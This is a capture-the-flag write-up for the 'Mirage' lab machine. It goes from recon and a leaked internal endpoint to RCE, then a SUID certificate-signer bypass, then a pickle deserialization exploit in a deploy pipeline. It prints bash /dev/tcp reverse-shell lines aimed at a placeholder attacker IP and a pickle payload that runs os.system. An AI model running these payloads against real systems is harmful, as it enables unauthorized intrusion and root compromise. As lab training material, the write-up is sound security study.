medium.com

Mirage VulNyx — Official Writeup

TirexV2

TirexV2

## 1. Reconnaissance & Initial Analysis

The first phase involves mapping the machine's external services and identifying a concrete entry point through direct interaction with the primary web application.

### Step 1.1: Network Discovery

The first action is to conduct an nmap scan to identify all open TCP ports and running services. This provides our initial map of the attack surface.

Bash

nmap -sC -sV mirage.nyx

Finding: The scan results reveal three open ports:

Press enter or click to view image in full size

### Step 1.2: Hostname Resolution

Based on the nmap finding, we must map the machine's IP address to the mirage.nyx hostname in our local /etc/hosts file. This is a critical step to ensure our browser and tools can correctly resolve and access the web application.

Bash

# Execute this command on your attacker machine
echo "<MACHINE_IP> mirage.nyx" | sudo tee -a /etc/hosts

## 2. Foothold: From Information Leak to Code Analysis to RCE

This phase demonstrates a realistic workflow: discovering a lead, finding source code to gain context, and using that context to build a successful exploit.

### Step 2.1: Discovering an Internal Endpoint

With access to https://mirage.nyx, the first logical step is to analyze the traffic generated by its primary features. We use a web proxy like Burp Suite to intercept the requests while testing the "Visitor ID Verification" file upload.

  • We start intercepting traffic.
  • We upload a test file through the portal.
  • We examine the server's JSON response to our POST /upload request.

Finding: The response contains a debug_info object, leaking the full URL for an internal backend service. This is a critical information disclosure vulnerability.

JSON

{
"success": true,
"file_reference": "/tmp/scan-...",
"debug_info": {
"backend_endpoint": "http://127.0.0.1:4000/api/v1/debug/submit_job"
}
}

Press enter or click to view image in full size

This is a critical lead. We have a target URL, but we don't know how to interact with it—we don't know what parameters it requires. This provides us with a clear objective: find the source code for this service.

### Step 2.2: Discovering the Source Code

With a clear objective, we now perform web content discovery to find any leaked files or directories. We use gobuster with the -d flag to specifically look for directories.

Bash

gobuster dir -u https://mirage.nyx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -d

Press enter or click to view image in full size

Finding: gobuster discovers the /static/ directory. Navigating to https://mirage.nyx/static/ reveals a directory listing containing the file portal_src_v1.zip.

### Step 2.3: Source Code Analysis for API Parameters

Now that we have the source code, we can analyze it to understand the API.

  • Download and unzip the archive:
  • Bash
wget https://mirage.nyx/static/portal_src_v1.zip unzip portal_src_v1.zip
  • Search for the endpoint string we discovered in the JSON leak to find where it's used in the code.
  • Bash
grep -r "/api/v1/debug/submit_job" .
  • Finding: The search points to a developer notes file, dev_notes.md.

Press enter or click to view image in full size

  • The source code analysis is a success. It explicitly reveals the HTTP method (GET) and the two required parameters: source_file and post_processing_filter.

### Step 2.4: Executing the RCE Chain

We now have all the pieces of the puzzle.

  • Create the payload file:
  • Bash
echo "bash -i >& /dev/tcp/<YOUR_ATTACKER_IP>/9001 0>&1" > payload.txt
  • Start a Netcat listener:
  • Bash
nc -lvnp 9001
  • Upload the payload via the portal and note the file_reference path from the JSON response.

Press enter or click to view image in full size

  • Construct the final URL, using the endpoint from the JSON leak and the parameters from the code analysis.
  • Bash
FILE_PATH="/tmp/scan-..." # From JSON response 
INTERNAL_URL="http://127.0.0.1:4000/api/v1/debug/submit_job?source_file=${FILE_PATH}&post_processing_filter=bash"
  • Trigger the exploit by submitting the INTERNAL_URL to the "Partner API Tools" form.
  • Catch the shell in your Netcat listener as the svc-ocr user.

Press enter or click to view image in full size

## 3. Privilege Escalation to User: The Flawed Crypto Oracle

With a foothold, we must escalate privileges by enumerating the internal system.

### Step 3.1: Internal Enumeration

  • Check user and group identity:

We are a member of the non-standard deploy group.

  • Find files associated with this group: find / -group deploy 2>/dev/null Finding: This command returns the binary /usr/local/bin/ca-signer.

Press enter or click to view image in full size

  • Check the binary's permissions: ls -l /usr/local/bin/ca-signer Finding: -rwsr-x--- 1 root deploy .... The s confirms the binary is SUID and runs as root.

Press enter or click to view image in full size

### Step 3.2: Reverse Engineering ca-signer

We transfer the binary to our local machine and analyze it in Ghidra.

Get TirexV2’s stories in your inbox

Join Medium for free to get updates from this writer.

Finding: The decompiled code reveals a flawed security check. It is intended to block CNs containing "admin" but has a pointer arithmetic bug: if (admin_ptr && (admin_ptr == cn_start || *(admin_ptr - 1) != '.')). This check can be bypassed if the character immediately preceding "admin" is a ..

### Step 3.3: Exploiting the Vulnerability

We craft a CSR with the Common Name .admin to bypass the check.

  • Generate a new private key on the Mirage shell:
  • Bash
openssl genpkey -algorithm RSA -out /tmp/admin.key
  • Generate the malicious CSR directly with the subject:
  • Bash
openssl req -new -nodes -key /tmp/admin.key -out /tmp/admin.csr -subj "/CN=.admin"
  • Execute the SUID binary to sign our malicious CSR:
  • Bash
/usr/local/bin/ca-signer --csr /tmp/admin.csr --out /tmp/admin.crt
  • We now possess a valid client certificate and key with administrative privileges.

### Step 3.4: Capturing the User Flag

We check the permissions on the user flag file.

Bash

$ ls -l /home/clair
total 4
-rw-r-x--- 1 clair svc-ocr 33 Sep 25 18:50 user.txt

Finding: The directory and file permissions grant our svc-ocr user access. We can now read the flag.

Bash

$ cat /home/clair/user.txt

## 4. Privilege Escalation to Root: Abusing the GitOps Pipeline

The final stage involves using our forged certificate to compromise the root user.

### Step 4.1: Discovering the Internal Admin Service

We scan the local machine for other internal services: ss -lntp Finding: A service is listening on 127.0.0.1:9443. An attempt to connect with curl -k https://127.0.0.1:9443 fails with a TLS handshake error, confirming it requires a client certificate (mTLS).

### Step 4.2: Analyzing the Service and Runner Logic

The svc-ocr user has read permissions on the service files.

  • Analyze the service code: cat /opt/ca-admin/ca_admin_service.py Finding: The code reveals the API endpoint /api/v1/trigger_deploy and shows that it executes /opt/deploy-runner/deploy_runner.py with sudo.
  • Analyze the deploy runner script: cat /opt/deploy-runner/deploy_runner.py
  • Finding: The runner script uses the insecure pickle.loads() function on user-controlled data from a git repo. This is our path to root.

### Step 4.3: The Final Exploit

  • Start a final Netcat listener for the root shell:
  • Bash
nc -lvnp 9002
  • Clone the target git repo. First, run git config --global --add safe.directory /srv/git/portal.git to handle the "dubious ownership" error.
  • Bash
git clone /srv/git/portal.git /tmp/git-repo cd /tmp/git-repo
  • Create the malicious YAML file. This Python command creates a pickled object that executes a reverse shell:
  • Bash
python3 -c "import pickle, base64, os; class RCE: def __reduce__(self): return (os.system, (\"bash -c 'bash -i >& /dev/tcp/<YOUR_ATTACKER_IP>/9002 0>&1'\",)); pickled_obj = pickle.dumps(RCE()); encoded_obj = base64.b64encode(pickled_obj).decode(); meta_content = 'state: ' + encoded_obj; open('.deploy-meta.yml', 'w').write(meta_content)"
  • Push the malicious file to the central repository:
  • Bash
git config --global user.email "a@a.com"; 
git config --global user.name "a"
git add .deploy-meta.yml && git commit -m "Exploit" && git push
  • Trigger the deployment. Use curl with the forged admin certificate to call the API:
  • Bash
curl -k --cert /tmp/admin.crt --key /tmp/admin.key --cacert /etc/ca/ca.pem -X POST https://127.0.0.1:9443/api/v1/trigger_deploy
  • Catch the root shell in your Netcat listener.

Press enter or click to view image in full size